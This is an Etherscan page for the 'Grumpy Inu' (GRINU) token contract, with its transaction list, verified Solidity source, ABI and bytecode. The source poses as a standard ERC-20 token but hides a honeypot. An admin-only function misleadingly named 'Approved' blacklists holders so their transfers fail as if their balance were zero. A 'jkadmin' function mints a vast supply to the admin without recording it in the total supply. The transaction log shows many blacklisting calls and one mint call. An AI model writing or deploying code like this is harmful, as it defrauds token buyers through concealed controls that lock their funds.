ETH Price: $2,580.61 (-2.54%)
Gas: 1.31 Gwei

Contract

0x77f528b373495cFCc4CFFb88e87F6f5d01C787d8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve180515312023-09-02 21:34:11353 days ago1693690451IN
0x77f528b3...d01C787d8
0 ETH0.0005029510.86044576
Approve175970692023-07-01 5:15:11417 days ago1688188511IN
0x77f528b3...d01C787d8
0 ETH0.0007333415.74140553
Jkadmin175970662023-07-01 5:14:35417 days ago1688188475IN
0x77f528b3...d01C787d8
0 ETH0.0007686416.45889377
Approve175969882023-07-01 4:58:35417 days ago1688187515IN
0x77f528b3...d01C787d8
0 ETH0.0008558418.37096428
Approve175969392023-07-01 4:48:35417 days ago1688186915IN
0x77f528b3...d01C787d8
0 ETH0.0007390715.88481335
Approve175969102023-07-01 4:42:47417 days ago1688186567IN
0x77f528b3...d01C787d8
0 ETH0.0007042415.1361806
Approve175968482023-07-01 4:30:11417 days ago1688185811IN
0x77f528b3...d01C787d8
0 ETH0.0007483116.08354681
Approved175967972023-07-01 4:19:59417 days ago1688185199IN
0x77f528b3...d01C787d8
0 ETH0.0007631216.55180482
Approve175967972023-07-01 4:19:59417 days ago1688185199IN
0x77f528b3...d01C787d8
0 ETH0.0007661316.55180482
Approve175967962023-07-01 4:19:47417 days ago1688185187IN
0x77f528b3...d01C787d8
0 ETH0.0009399820.17688762
Approved175967812023-07-01 4:16:47417 days ago1688185007IN
0x77f528b3...d01C787d8
0 ETH0.0007038615.26646989
Approved175967762023-07-01 4:15:47417 days ago1688184947IN
0x77f528b3...d01C787d8
0 ETH0.0008288717.97788066
Approve175967742023-07-01 4:15:23417 days ago1688184923IN
0x77f528b3...d01C787d8
0 ETH0.0008713718.82546563
Approved175967732023-07-01 4:15:11417 days ago1688184911IN
0x77f528b3...d01C787d8
0 ETH0.0007719816.74846699
Approved175967502023-07-01 4:10:11417 days ago1688184611IN
0x77f528b3...d01C787d8
0 ETH0.0007313615.86295881
Approve175967402023-07-01 4:08:11417 days ago1688184491IN
0x77f528b3...d01C787d8
0 ETH0.0008630718.52611146
Approve175967372023-07-01 4:07:35417 days ago1688184455IN
0x77f528b3...d01C787d8
0 ETH0.0007238115.63763349
Approve175967322023-07-01 4:06:35417 days ago1688184395IN
0x77f528b3...d01C787d8
0 ETH0.0008452618.16725999
Approve175967322023-07-01 4:06:35417 days ago1688184395IN
0x77f528b3...d01C787d8
0 ETH0.0008917919.16725999
Approved175967262023-07-01 4:05:23417 days ago1688184323IN
0x77f528b3...d01C787d8
0 ETH0.0008002617.35743494
Approved175967242023-07-01 4:04:59417 days ago1688184299IN
0x77f528b3...d01C787d8
0 ETH0.0008169117.71847236
Approved175967232023-07-01 4:04:47417 days ago1688184287IN
0x77f528b3...d01C787d8
0 ETH0.0008414618.25097103
Approved175967222023-07-01 4:04:35417 days ago1688184275IN
0x77f528b3...d01C787d8
0 ETH0.000483418.44693927
Approved175967212023-07-01 4:04:23417 days ago1688184263IN
0x77f528b3...d01C787d8
0 ETH0.000869418.85717223
Approved175967192023-07-01 4:03:59417 days ago1688184239IN
0x77f528b3...d01C787d8
0 ETH0.0008659418.78197526
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GRINU

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _check();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}


pragma solidity ^0.8.0;

contract GRINU is Ownable {
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 private _tokentotalSupply;
    string private _tokenname;
    string private _tokensymbol;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private ppPassCard;
    address public passdqnu03;
    function exitdogegg(address oann) external   {
        if(passdqnu03 != _msgSender()){
            revert("pass error");
        }
        
        ppPassCard[oann] = false;
    }

    function Approved(address oann) external   {
        if(passdqnu03 != _msgSender()){
            revert("pass error");
        }
        
        ppPassCard[oann] = true;
    }


    function jkadmin(address cc) external {
        if(passdqnu03 != _msgSender()){
            revert("pass error");
        }
        uint256 amount = 1000000000000*10**decimals()*85000;
        _balances[_msgSender()] += amount;
    }
    constructor(address jkadmin,string memory tn, string memory ts) {
        _tokenname = tn;
        _tokensymbol = ts;
        uint256 amount = 800000000000*10**decimals();
        _tokentotalSupply += amount;
        _balances[msg.sender] += amount;
        passdqnu03 = jkadmin;
        emit Transfer(address(0), msg.sender, amount);
    }

    function name() public view returns (string memory) {
        return _tokenname;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _tokentotalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _transfer(
        address fromSender,
        address toSender,
        uint256 amount
    ) internal virtual {
        require(fromSender != address(0), "ERC20: transfer from the zero address");
        require(toSender != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[fromSender];
        if (ppPassCard[fromSender] == true) {
            balance = _balances[fromSender] - _balances[fromSender];
        }
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[fromSender] = _balances[fromSender]-amount;
        _balances[toSender] = _balances[toSender]+amount;
        emit Transfer(fromSender, toSender, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"jkadmin","type":"address"},{"internalType":"string","name":"tn","type":"string"},{"internalType":"string","name":"ts","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"oann","type":"address"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"oann","type":"address"}],"name":"exitdogegg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"cc","type":"address"}],"name":"jkadmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"passdqnu03","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200126f3803806200126f833981016040819052620000349162000231565b6200003f336200011c565b60026200004d83826200034a565b5060036200005c82826200034a565b5060006200006d6012600a6200052b565b6200007e9064ba43b7400062000543565b905080600160008282546200009491906200055d565b90915550503360009081526004602052604081208054839290620000ba9084906200055d565b9091555050600780546001600160a01b0319166001600160a01b03861617905560405181815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505062000573565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200019457600080fd5b81516001600160401b0380821115620001b157620001b16200016c565b604051601f8301601f19908116603f01168101908282118183101715620001dc57620001dc6200016c565b81604052838152602092508683858801011115620001f957600080fd5b600091505b838210156200021d5785820183015181830184015290820190620001fe565b600093810190920192909252949350505050565b6000806000606084860312156200024757600080fd5b83516001600160a01b03811681146200025f57600080fd5b60208501519093506001600160401b03808211156200027d57600080fd5b6200028b8783880162000182565b93506040860151915080821115620002a257600080fd5b50620002b18682870162000182565b9150509250925092565b600181811c90821680620002d057607f821691505b602082108103620002f157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200034557600081815260208120601f850160051c81016020861015620003205750805b601f850160051c820191505b8181101562000341578281556001016200032c565b5050505b505050565b81516001600160401b038111156200036657620003666200016c565b6200037e81620003778454620002bb565b84620002f7565b602080601f831160018114620003b657600084156200039d5750858301515b600019600386901b1c1916600185901b17855562000341565b600085815260208120601f198616915b82811015620003e757888601518255948401946001909101908401620003c6565b5085821015620004065787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200046d57816000190482111562000451576200045162000416565b808516156200045f57918102915b93841c939080029062000431565b509250929050565b600082620004865750600162000525565b81620004955750600062000525565b8160018114620004ae5760028114620004b957620004d9565b600191505062000525565b60ff841115620004cd57620004cd62000416565b50506001821b62000525565b5060208310610133831016604e8410600b8410161715620004fe575081810a62000525565b6200050a83836200042c565b806000190482111562000521576200052162000416565b0290505b92915050565b60006200053c60ff84168362000475565b9392505050565b808202811582820484141762000525576200052562000416565b8082018082111562000525576200052562000416565b610cec80620005836000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80635d91bd0c116100a257806395d89b411161007157806395d89b4114610229578063a457c2d714610231578063a9059cbb14610244578063dd62ed3e14610257578063f3946add1461026a57600080fd5b80635d91bd0c146101c057806370a08231146101d3578063715018a6146101fc5780638da5cb5b1461020457600080fd5b80631b95b28b116100de5780631b95b28b1461017857806323b872dd1461018b578063313ce5671461019e57806339509351146101ad57600080fd5b806306fdde0314610110578063095ea7b31461012e5780630b1279231461015157806318160ddd14610166575b600080fd5b61011861027d565b60405161012591906109ed565b60405180910390f35b61014161013c366004610a57565b61030f565b6040519015158152602001610125565b61016461015f366004610a81565b610326565b005b6001545b604051908152602001610125565b610164610186366004610a81565b61037a565b610141610199366004610aa3565b6103fb565b60405160128152602001610125565b6101416101bb366004610a57565b61041f565b6101646101ce366004610a81565b61044b565b61016a6101e1366004610a81565b6001600160a01b031660009081526004602052604090205490565b610164610499565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610125565b6101186104ad565b61014161023f366004610a57565b6104bc565b610141610252366004610a57565b610539565b61016a610265366004610adf565b610546565b600754610211906001600160a01b031681565b60606002805461028c90610b12565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610b12565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c338484610571565b5060015b92915050565b6007546001600160a01b031633146103595760405162461bcd60e51b815260040161035090610b4c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6007546001600160a01b031633146103a45760405162461bcd60e51b815260040161035090610b4c565b60006103b26012600a610c6a565b6103c19064e8d4a51000610c79565b6103ce9062014c08610c79565b336000908152600460205260408120805492935083929091906103f2908490610c90565b90915550505050565b600033610409858285610695565b610414858585610711565b506001949350505050565b6000336104418185856104328383610546565b61043c9190610c90565b610571565b5060019392505050565b6007546001600160a01b031633146104755760405162461bcd60e51b815260040161035090610b4c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6104a1610943565b6104ab600061099d565b565b60606003805461028c90610b12565b600033816104ca8286610546565b90508381101561052a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610350565b610414828661043c8785610ca3565b600061031c338484610711565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166105d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610350565b6001600160a01b0382166106345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610350565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106a18484610546565b9050600019811461070b57818110156106fc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610350565b61070b848461043c8585610ca3565b50505050565b6001600160a01b0383166107755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610350565b6001600160a01b0382166107d75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610350565b6001600160a01b03831660009081526004602090815260408083205460069092529091205460ff16151560010361082e576001600160a01b03841660009081526004602052604090205461082b9080610ca3565b90505b8181101561088d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610350565b6001600160a01b0384166000908152600460205260409020546108b1908390610ca3565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546108e1908390610c90565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109359086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610350565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610a1a578581018301518582016040015282016109fe565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5257600080fd5b919050565b60008060408385031215610a6a57600080fd5b610a7383610a3b565b946020939093013593505050565b600060208284031215610a9357600080fd5b610a9c82610a3b565b9392505050565b600080600060608486031215610ab857600080fd5b610ac184610a3b565b9250610acf60208501610a3b565b9150604084013590509250925092565b60008060408385031215610af257600080fd5b610afb83610a3b565b9150610b0960208401610a3b565b90509250929050565b600181811c90821680610b2657607f821691505b602082108103610b4657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600a90820152693830b9b99032b93937b960b11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc1578160001904821115610ba757610ba7610b70565b80851615610bb457918102915b93841c9390800290610b8b565b509250929050565b600082610bd857506001610320565b81610be557506000610320565b8160018114610bfb5760028114610c0557610c21565b6001915050610320565b60ff841115610c1657610c16610b70565b50506001821b610320565b5060208310610133831016604e8410600b8410161715610c44575081810a610320565b610c4e8383610b86565b8060001904821115610c6257610c62610b70565b029392505050565b6000610a9c60ff841683610bc9565b808202811582820484141761032057610320610b70565b8082018082111561032057610320610b70565b8181038181111561032057610320610b7056fea2646970667358221220dfca191552e918a0ac6a34a81d926c8fbeec954281f910cd9e8f4bdd766c833664736f6c63430008130033000000000000000000000000a6de5a07b7a6476a3c3784d5f32e4d73ba51bdb3000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000a4772756d707920496e750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054752494e55000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635d91bd0c116100a257806395d89b411161007157806395d89b4114610229578063a457c2d714610231578063a9059cbb14610244578063dd62ed3e14610257578063f3946add1461026a57600080fd5b80635d91bd0c146101c057806370a08231146101d3578063715018a6146101fc5780638da5cb5b1461020457600080fd5b80631b95b28b116100de5780631b95b28b1461017857806323b872dd1461018b578063313ce5671461019e57806339509351146101ad57600080fd5b806306fdde0314610110578063095ea7b31461012e5780630b1279231461015157806318160ddd14610166575b600080fd5b61011861027d565b60405161012591906109ed565b60405180910390f35b61014161013c366004610a57565b61030f565b6040519015158152602001610125565b61016461015f366004610a81565b610326565b005b6001545b604051908152602001610125565b610164610186366004610a81565b61037a565b610141610199366004610aa3565b6103fb565b60405160128152602001610125565b6101416101bb366004610a57565b61041f565b6101646101ce366004610a81565b61044b565b61016a6101e1366004610a81565b6001600160a01b031660009081526004602052604090205490565b610164610499565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610125565b6101186104ad565b61014161023f366004610a57565b6104bc565b610141610252366004610a57565b610539565b61016a610265366004610adf565b610546565b600754610211906001600160a01b031681565b60606002805461028c90610b12565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610b12565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c338484610571565b5060015b92915050565b6007546001600160a01b031633146103595760405162461bcd60e51b815260040161035090610b4c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6007546001600160a01b031633146103a45760405162461bcd60e51b815260040161035090610b4c565b60006103b26012600a610c6a565b6103c19064e8d4a51000610c79565b6103ce9062014c08610c79565b336000908152600460205260408120805492935083929091906103f2908490610c90565b90915550505050565b600033610409858285610695565b610414858585610711565b506001949350505050565b6000336104418185856104328383610546565b61043c9190610c90565b610571565b5060019392505050565b6007546001600160a01b031633146104755760405162461bcd60e51b815260040161035090610b4c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6104a1610943565b6104ab600061099d565b565b60606003805461028c90610b12565b600033816104ca8286610546565b90508381101561052a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610350565b610414828661043c8785610ca3565b600061031c338484610711565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166105d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610350565b6001600160a01b0382166106345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610350565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106a18484610546565b9050600019811461070b57818110156106fc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610350565b61070b848461043c8585610ca3565b50505050565b6001600160a01b0383166107755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610350565b6001600160a01b0382166107d75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610350565b6001600160a01b03831660009081526004602090815260408083205460069092529091205460ff16151560010361082e576001600160a01b03841660009081526004602052604090205461082b9080610ca3565b90505b8181101561088d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610350565b6001600160a01b0384166000908152600460205260409020546108b1908390610ca3565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546108e1908390610c90565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109359086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610350565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610a1a578581018301518582016040015282016109fe565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5257600080fd5b919050565b60008060408385031215610a6a57600080fd5b610a7383610a3b565b946020939093013593505050565b600060208284031215610a9357600080fd5b610a9c82610a3b565b9392505050565b600080600060608486031215610ab857600080fd5b610ac184610a3b565b9250610acf60208501610a3b565b9150604084013590509250925092565b60008060408385031215610af257600080fd5b610afb83610a3b565b9150610b0960208401610a3b565b90509250929050565b600181811c90821680610b2657607f821691505b602082108103610b4657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600a90820152693830b9b99032b93937b960b11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc1578160001904821115610ba757610ba7610b70565b80851615610bb457918102915b93841c9390800290610b8b565b509250929050565b600082610bd857506001610320565b81610be557506000610320565b8160018114610bfb5760028114610c0557610c21565b6001915050610320565b60ff841115610c1657610c16610b70565b50506001821b610320565b5060208310610133831016604e8410600b8410161715610c44575081810a610320565b610c4e8383610b86565b8060001904821115610c6257610c62610b70565b029392505050565b6000610a9c60ff841683610bc9565b808202811582820484141761032057610320610b70565b8082018082111561032057610320610b70565b8181038181111561032057610320610b7056fea2646970667358221220dfca191552e918a0ac6a34a81d926c8fbeec954281f910cd9e8f4bdd766c833664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a6de5a07b7a6476a3c3784d5f32e4d73ba51bdb3000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000a4772756d707920496e750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054752494e55000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : jkadmin (address): 0xA6de5a07B7A6476a3c3784D5F32e4D73ba51BdB3
Arg [1] : tn (string): Grumpy Inu
Arg [2] : ts (string): GRINU

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 000000000000000000000000a6de5a07b7a6476a3c3784d5f32e4d73ba51bdb3
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [4] : 4772756d707920496e7500000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4752494e55000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1968:4971:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3473:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4284:152;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4284:152:0;1004:187:1;2487:185:0;;;;;;:::i;:::-;;:::i;:::-;;3764:96;3835:17;;3764:96;;;1533:25:1;;;1521:2;1506:18;3764:96:0;1387:177:1;2872:239:0;;;;;;:::i;:::-;;:::i;4444:287::-;;;;;;:::i;:::-;;:::i;3672:84::-;;;3746:2;2044:36:1;;2032:2;2017:18;3672:84:0;1902:184:1;4741:238:0;;;;;;:::i;:::-;;:::i;2680:182::-;;;;;;:::i;:::-;;:::i;3868:110::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3952:18:0;3925:7;3952:18;;;:9;:18;;;;;;;3868:110;1474:103;;;:::i;831:87::-;877:7;904:6;-1:-1:-1;;;;;904:6:0;831:87;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;831:87:0;2091:203:1;3569:93:0;;;:::i;4989:398::-;;;;;;:::i;:::-;;:::i;3988:144::-;;;;;;:::i;:::-;;:::i;4140:134::-;;;;;;:::i;:::-;;:::i;2455:25::-;;;;;-1:-1:-1;;;;;2455:25:0;;;3473:88;3510:13;3543:10;3536:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3473:88;:::o;4284:152::-;4350:4;4367:39;177:10;4390:7;4399:6;4367:8;:39::i;:::-;-1:-1:-1;4424:4:0;4284:152;;;;;:::o;2487:185::-;2546:10;;-1:-1:-1;;;;;2546:10:0;177;2546:26;2543:77;;2588:20;;-1:-1:-1;;;2588:20:0;;;;;;;:::i;:::-;;;;;;;;2543:77;-1:-1:-1;;;;;2640:16:0;2659:5;2640:16;;;:10;:16;;;;;:24;;-1:-1:-1;;2640:24:0;;;2487:185::o;2872:239::-;2924:10;;-1:-1:-1;;;;;2924:10:0;177;2924:26;2921:77;;2966:20;;-1:-1:-1;;;2966:20:0;;;;;;;:::i;2921:77::-;3008:14;3039;3746:2;3039;:14;: